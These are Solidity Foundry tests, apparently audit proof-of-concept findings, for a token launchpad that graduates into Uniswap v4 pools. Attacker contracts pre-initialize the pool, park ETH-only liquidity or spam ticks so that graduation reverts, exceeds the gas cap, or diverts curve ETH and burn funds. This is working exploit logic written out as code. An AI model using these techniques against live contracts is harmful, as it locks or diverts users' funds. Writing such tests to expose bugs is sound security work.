        // reaches past the target and holds enough ETH to absorb every remaining token.
        Griefer g = new Griefer(manager);
        vm.deal(address(g), 100 ether);
        uint160 cur = uint160(uint256(target) * 90 / 100);
        g.initializeAt(key, cur);
        int24 tCur = TickMath.getTickAtSqrtPrice(cur);
        int24 tTarget = TickMath.getTickAtSqrtPrice(target);
        int24 lower = (tCur / 200 + 2) * 200; // strictly above the current tick: ETH-only position
        int24 upper = (tTarget / 200 + 3) * 200; // past the target
        uint160 sLower = TickMath.getSqrtPriceAtTick(lower);
        // tokens absorbed while the price climbs from sLower to target = L * (target - sLower) / 2^96
        uint256 L = (remaining << 96) / (target - sLower) * 11 / 10 + 1;
        g.addEthOnly(key, lower, upper, int256(L));
        uint256 parked = 100 ether - address(g).balance;
        // the third party keeps this ETH: the graduation reverts, so nothing is ever bought from it
        assertLt(parked, 3 ether, "attack capital is small");

        // the game ends on time and is finalized; graduation is the next poke
        vm.warp(genesis.endsBy());
        for (uint256 i; i < 10 && genesis.phase() < genesis.PHASE_PAYING(); i++) {
            genesis.poke();
        }
        assertEq(genesis.phase(), genesis.PHASE_PAYING());

        // On the current code this poke reverts with an arithmetic underflow inside PadLiquidity and the
        // game can never leave PHASE_PAYING. The intended behavior is that graduation completes.
        genesis.poke();
        assertEq(genesis.phase(), genesis.PHASE_GRADUATED(), "graduation must complete");
        assertTrue(pad.pvpDone(), "genesis must be marked done");
        assertTrue(pvp.unlocked(), "token must unlock");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/types/PoolId.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/libraries/StateLibrary.sol";
import {FullMath} from "v4-core/libraries/FullMath.sol";
import {FixedPoint96} from "v4-core/libraries/FixedPoint96.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys {
    uint256 public n;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

contract Griefer {
    using TransientStateLibrary for IPoolManager;

    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function initializeAt(PoolKey memory key, uint160 sqrtP) external {
        manager.initialize(key, sqrtP);
    }

    function addEthOnly(PoolKey memory key, int24 lower, int24 upper, int256 liq) external {
        manager.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, int256 liq) =
            abi.decode(data, (PoolKey, int24, int24, int256));
        manager.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
        int256 d0 = manager.currencyDelta(address(this), key.currency0);
        require(d0 < 0, "expected to owe ETH");
        manager.settle{value: uint256(-d0)}();
        require(manager.currencyDelta(address(this), key.currency1) == 0, "position must be ETH-only");
        return "";
    }
}

contract PreInitDrainTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    MockArbSys arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    KingOfThePad king;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        liq = new PadLiquidity(address(pad), address(manager));
        king = new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function _roll(address who) internal {
        vm.deal(who, who.balance + 0.002 ether);
        vm.prank(who);
        genesis.roll{value: 0.002 ether}();
    }

    /// Same setup as the brick case but the third party's ETH-only position absorbs ~99% of the remaining
    /// tokens before the price reaches the target. Graduation then "succeeds": `tokens` is tiny, so
    /// `_fullRangeLiquidity` is token-limited, almost no ETH fits into the position, and
    /// `_finishGraduation` sends the whole remainder (curve ETH + sale proceeds) to the carry pot as
    /// "dust". The locked LP ends up holding a negligible fraction of the curve ETH.
    /// Expected (asserted): the pool holds at least 90% of the curve ETH and the carry pot gets only dust.
    uint256 parked;

    function _play() internal {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a);
        genesis.mint();
        vm.prank(b);
        genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            _roll(a);
            _roll(b);
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
    }

    /// @dev Third party: initialize ~10% below target (sqrt terms) and park an ETH-only range reaching past
    ///      the target that absorbs ~90% of the remaining tokens on the way up.
    function _grief(uint160 target, uint256 remaining) internal {
        PoolKey memory key = liq.poolKey(address(pvp));
        Griefer g = new Griefer(manager);
        vm.deal(address(g), 100 ether);
        uint160 cur = uint160(uint256(target) * 90 / 100);
        g.initializeAt(key, cur);
        int24 lower = (TickMath.getTickAtSqrtPrice(cur) / 200 + 2) * 200;
        int24 upper = (TickMath.getTickAtSqrtPrice(target) / 200 + 3) * 200;
        uint160 sLower = TickMath.getSqrtPriceAtTick(lower);
        uint256 L = (remaining << 96) / (target - sLower) * 9 / 10;
        g.addEthOnly(key, lower, upper, int256(L));
        parked = 100 ether - address(g).balance;
    }

    /// @dev ETH held by PadLiquidity's full-range position at the pool's current price.
    function _positionEth(uint160) internal view returns (uint256) {
        PoolKey memory key = liq.poolKey(address(pvp));
        (uint160 sqrtP,,,) = IPoolManager(address(manager)).getSlot0(key.toId());
        (uint128 L,,) =
            IPoolManager(address(manager)).getPositionInfo(key.toId(), address(liq), -887_200, 887_200, bytes32(0));
        uint160 hi = TickMath.getSqrtPriceAtTick(887_200);
        // amount0 = L * (hi - sqrtP) / (sqrtP * hi / Q96)
        return FullMath.mulDiv(uint256(L) << 96, hi - sqrtP, FullMath.mulDiv(sqrtP, hi, FixedPoint96.Q96)) >> 96;
    }

    function test_preInitializedPoolDivertsCurveEthToCarryPot() public {
        _play();
        uint160 target = genesis.graduationSqrtPrice();
        uint256 curve = genesis.curveEth();
        _grief(target, pvp.balanceOf(address(genesis)));

        uint256 carryBefore = pad.carryPot();
        vm.warp(genesis.endsBy());
        for (uint256 i; i < 40 && genesis.phase() < genesis.PHASE_GRADUATED(); i++) {
            genesis.poke();
        }
        assertEq(genesis.phase(), genesis.PHASE_GRADUATED());

        uint256 poolEth = _positionEth(target);
        uint256 toCarry = pad.carryPot() - carryBefore;
        emit log_named_uint("curve ETH", curve);
        emit log_named_uint("ETH that reached the locked position (approx)", poolEth);
        emit log_named_uint("ETH sent to the carry pot as dust", toCarry);
        emit log_named_uint("tokens burned to dEaD", pvp.balanceOf(address(0xdEaD)));
        // intended: the curve ETH is locked as liquidity, only rounding dust reaches the carry pot
        assertLt(toCarry, curve / 100, "carry pot must only receive rounding dust");
        // all tokens the curve did not sell are either locked in the pool or burned, none sold to a third party
        assertGe(pvp.balanceOf(address(0xdEaD)) + pvp.balanceOf(address(manager)), 1e9 ether - genesis.tokensSold() - 1,
            "unsold tokens must be locked or burned");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys2 {
    uint256 public n;
    function setBlock(uint256 b) external { n = b; }
    function advance(uint256 k) external { n += k; }
    function arbBlockNumber() external view returns (uint256) { return n; }
    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev Anyone: initializes the PvP pool below the graduation price and parks ETH-only liquidity between
///      the initial price and the target. No token is needed (tokens are locked before graduation).
contract Griefer {
    using TransientStateLibrary for IPoolManager;
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function park(PoolKey memory key, int24 lower, int24 upper, int256 liq) external payable {
        m.initialize(key, TickMath.getSqrtPriceAtTick(lower));
        m.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, int256 liq) = abi.decode(data, (PoolKey, int24, int24, int256));
        m.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
        int256 d0 = m.currencyDelta(address(this), key.currency0);
        require(m.currencyDelta(address(this), key.currency1) == 0, "token side needed");
        m.settle{value: uint256(-d0)}();
        return "";
    }
}

contract PreInitGriefTest is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    MockArbSys2 arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new MockArbSys2()).code);
        arb = MockArbSys2(address(0x64));
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        pad = new PvPPad(OWNER, address(new PadToken()), address(new PadGame()));
        liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function test_parkedEthLiquidityBlocksGenesisGraduation() public {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a); genesis.mint();
        vm.prank(b); genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            vm.deal(a, 1 ether); vm.prank(a); genesis.roll{value: 0.002 ether}();
            vm.deal(b, 1 ether); vm.prank(b); genesis.roll{value: 0.002 ether}();
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        uint160 target = genesis.graduationSqrtPrice();
        int24 tTarget = TickMath.getTickAtSqrtPrice(target);
        int24 upper = (tTarget / 200) * 200 - 200; // strictly below target
        int24 lower = upper - 4_000; // ~1.5x lower price, still ETH-only
        PoolKey memory key = liq.poolKey(address(pvp));

        Griefer g = new Griefer(IPoolManager(address(manager)));
        vm.deal(address(g), 50 ether);
        uint256 before = address(g).balance;
        g.park(key, lower, upper, 8e23);
        emit log_named_uint("ETH parked by griefer (wei)", before - address(g).balance);

        vm.warp(genesis.endsBy());
        for (uint256 i; i < 40 && genesis.phase() < 3; i++) {
            try genesis.poke() {} catch {}
        }
        // Spec: graduation after the end is permissionless and always completes at the final curve price.
        assertTrue(pad.pvpDone(), "genesis never graduates: every launch, the king and burns stay closed");
        assertTrue(pvp.unlocked(), "PvP token stays locked");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys3 {
    uint256 public n;
    function setBlock(uint256 b) external { n = b; }
    function advance(uint256 k) external { n += k; }
    function arbBlockNumber() external view returns (uint256) { return n; }
    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev Anyone, before graduation: initialize the pool below the target and place many 1-liquidity ETH-only
///      positions, one per tick spacing, between the initial price and the target. Each costs about 1 wei.
contract TickSpammer {
    using TransientStateLibrary for IPoolManager;
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function initAt(PoolKey memory key, int24 tick) external {
        m.initialize(key, TickMath.getSqrtPriceAtTick(tick));
    }

    function spam(PoolKey memory key, int24 from, uint256 count) external {
        m.unlock(abi.encode(key, from, count));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 from, uint256 count) = abi.decode(data, (PoolKey, int24, uint256));
        for (uint256 i; i < count; i++) {
            int24 lo = from + int24(int256(i)) * 200;
            m.modifyLiquidity(key, ModifyLiquidityParams(lo, lo + 200, 1, bytes32(0)), "");
        }
        int256 d0 = m.currencyDelta(address(this), key.currency0);
        require(m.currencyDelta(address(this), key.currency1) == 0, "token side needed");
        m.settle{value: uint256(-d0)}();
        return "";
    }
}

contract TickSpamTest is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    MockArbSys3 arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new MockArbSys3()).code);
        arb = MockArbSys3(address(0x64));
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        pad = new PvPPad(OWNER, address(new PadToken()), address(new PadGame()));
        liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function test_manyTinyParkedPositionsMakeGraduationUnaffordable() public {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a); genesis.mint();
        vm.prank(b); genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            vm.deal(a, 1 ether); vm.prank(a); genesis.roll{value: 0.002 ether}();
            vm.deal(b, 1 ether); vm.prank(b); genesis.roll{value: 0.002 ether}();
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        uint160 target = genesis.graduationSqrtPrice();
        int24 tTarget = (TickMath.getTickAtSqrtPrice(target) / 200) * 200;
        uint256 count = 2000;
        int24 from = tTarget - int24(int256(count)) * 200;
        PoolKey memory key = liq.poolKey(address(pvp));

        TickSpammer s = new TickSpammer(IPoolManager(address(manager)));
        vm.deal(address(s), 1 ether);
        uint256 before = address(s).balance;
        s.initAt(key, from - 200);
        s.spam(key, from, count);
        emit log_named_uint("ETH parked (wei)", before - address(s).balance);

        vm.warp(genesis.endsBy());
        genesis.poke(); // finalize
        assertEq(genesis.phase(), 2);
        uint256 g0 = gasleft();
        genesis.poke(); // graduate
        uint256 used = g0 - gasleft();
        emit log_named_uint("gas used by the graduating poke", used);
        assertEq(genesis.phase(), 3);
        // Arbitrum Nitro caps a transaction at 32,000,000 gas; a graduation that needs more can never run.
        assertLt(used, 32_000_000, "graduation must fit in one transaction");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSysLT {
    uint256 public n;
    function setBlock(uint256 b) external { n = b; }
    function advance(uint256 k) external { n += k; }
    function arbBlockNumber() external view returns (uint256) { return n; }
    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev Anyone, before graduation: initialize the pool far below the target and park ONE liquidity-1
///      ETH-only position just above the price (a few million wei of ETH, withdrawable at any time).
contract LowTickParker {
    using TransientStateLibrary for IPoolManager;
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function park(PoolKey memory key, int24 initTick, int24 lo) external {
        m.initialize(key, TickMath.getSqrtPriceAtTick(initTick));
        m.unlock(abi.encode(key, lo));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lo) = abi.decode(data, (PoolKey, int24));
        m.modifyLiquidity(key, ModifyLiquidityParams(lo, lo + 200, 1, bytes32(0)), "");
        int256 d0 = m.currencyDelta(address(this), key.currency0);
        require(m.currencyDelta(address(this), key.currency1) == 0, "token side needed");
        m.settle{value: uint256(-d0)}();
        return "";
    }
}

contract LowTickBrickTest is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    MockArbSysLT arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new MockArbSysLT()).code);
        arb = MockArbSysLT(address(0x64));
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        pad = new PvPPad(OWNER, address(new PadToken()), address(new PadGame()));
        liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function test_poolParkedFarBelowTargetBricksGraduation() public {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a); genesis.mint();
        vm.prank(b); genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            vm.deal(a, 1 ether); vm.prank(a); genesis.roll{value: 0.002 ether}();
            vm.deal(b, 1 ether); vm.prank(b); genesis.roll{value: 0.002 ether}();
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        PoolKey memory key = liq.poolKey(address(pvp));

        // Pool initialized at tick -400000 (about 1e-26 token per ETH), one liquidity-1 position at [-399800, -399600].
        LowTickParker p = new LowTickParker(IPoolManager(address(manager)));
        vm.deal(address(p), 1 ether);
        uint256 before = address(p).balance;
        p.park(key, -400_000, -399_800);
        emit log_named_uint("ETH parked (wei)", before - address(p).balance);
        assertLt(before - address(p).balance, 1e9, "griefer parks under 1 gwei");

        vm.warp(genesis.endsBy());
        genesis.poke(); // finalize
        assertEq(genesis.phase(), 2);
        // Expected: graduation completes (phase 3), PvP unlocked, genesis gate open.
        // Actual on this code: PadLiquidity._addTokenSide computes liquidity ~4.7e35 for [-887200, -399800],
        // above v4's maxLiquidityPerTick (~3.8e34): modifyLiquidity reverts TickLiquidityOverflow, every
        // poke reverts, pvpDone stays false forever.
        genesis.poke(); // graduate
        assertEq(genesis.phase(), 3, "graduated");
        assertTrue(pvp.unlocked(), "token unlocked");
        assertTrue(pad.pvpDone(), "genesis gate open");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {FullMath} from "v4-core/libraries/FullMath.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSysBS {
    uint256 public n;
    function setBlock(uint256 b) external { n = b; }
    function advance(uint256 k) external { n += k; }
    function arbBlockNumber() external view returns (uint256) { return n; }
    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev Anyone, before graduation: initialize the pool far below the target and park ONE liquidity-1
///      ETH-only position just above the price (a few million wei of ETH, withdrawable at any time).
contract LowTickParkerBS {
    using TransientStateLibrary for IPoolManager;
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function park(PoolKey memory key, int24 initTick, int24 lo) external {
        m.initialize(key, TickMath.getSqrtPriceAtTick(initTick));
        m.unlock(abi.encode(key, lo));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lo) = abi.decode(data, (PoolKey, int24));
        m.modifyLiquidity(key, ModifyLiquidityParams(lo, lo + 200, 1, bytes32(0)), "");
        int256 d0 = m.currencyDelta(address(this), key.currency0);
        require(m.currencyDelta(address(this), key.currency1) == 0, "token side needed");
        m.settle{value: uint256(-d0)}();
        return "";
    }
}

contract BurnSinkTest is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    MockArbSysBS arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new MockArbSysBS()).code);
        arb = MockArbSysBS(address(0x64));
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        pad = new PvPPad(OWNER, address(new PadToken()), address(new PadGame()));
        liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function test_burnChunkSpendsTheBucketForNothingAfterParkedGraduation() public {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a); genesis.mint();
        vm.prank(b); genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            vm.deal(a, 1 ether); vm.prank(a); genesis.roll{value: 0.002 ether}();
            vm.deal(b, 1 ether); vm.prank(b); genesis.roll{value: 0.002 ether}();
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        uint160 target = genesis.graduationSqrtPrice();
        PoolKey memory key = liq.poolKey(address(pvp));

        // Pool initialized at tick -300000 (about 1e-13 token per ETH; the target is about 1e9), one
        // liquidity-1 ETH-only position at [-299800, -299600]. Graduation succeeds in the split layout.
        LowTickParkerBS p = new LowTickParkerBS(IPoolManager(address(manager)));
        vm.deal(address(p), 1 ether);
        p.park(key, -300_000, -299_800);

        vm.warp(genesis.endsBy());
        genesis.poke(); // finalize
        genesis.poke(); // graduate
        assertEq(genesis.phase(), 3, "graduated (split positions)");
        assertTrue(pad.pvpDone());

        // The burn bucket receives 0.02 ETH and a chunk is due.
        liq.depositBurn{value: 0.02 ether}();
        vm.warp(block.timestamp + 11 minutes);
        uint256 deadBefore = pvp.balanceOf(DEAD);
        liq.burnChunk();
        uint256 burned = pvp.balanceOf(DEAD) - deadBefore;
        // PvP that 0.02 ETH buys at the graduation (target) price.
        uint256 fair = FullMath.mulDiv(0.02 ether, FullMath.mulDiv(target, target, 1 << 96), 1 << 96);
        emit log_named_uint("PvP burned", burned);
        emit log_named_uint("fair PvP at target", fair);
        emit log_named_uint("burn bucket left", liq.burnBucket());
        // Expected: the bucket's ETH buys PvP at a price near the target (or stays in the bucket until it can).
        // Actual on this code: 0.02 ETH is swapped into the pad's own token-side position at the parked price,
        // burns 0 PvP, and the bucket is empty.
        assertTrue(
            burned * 2 >= fair || liq.burnBucket() == 0.02 ether,
            "burn bucket ETH spent for (almost) nothing"
        );
    }
}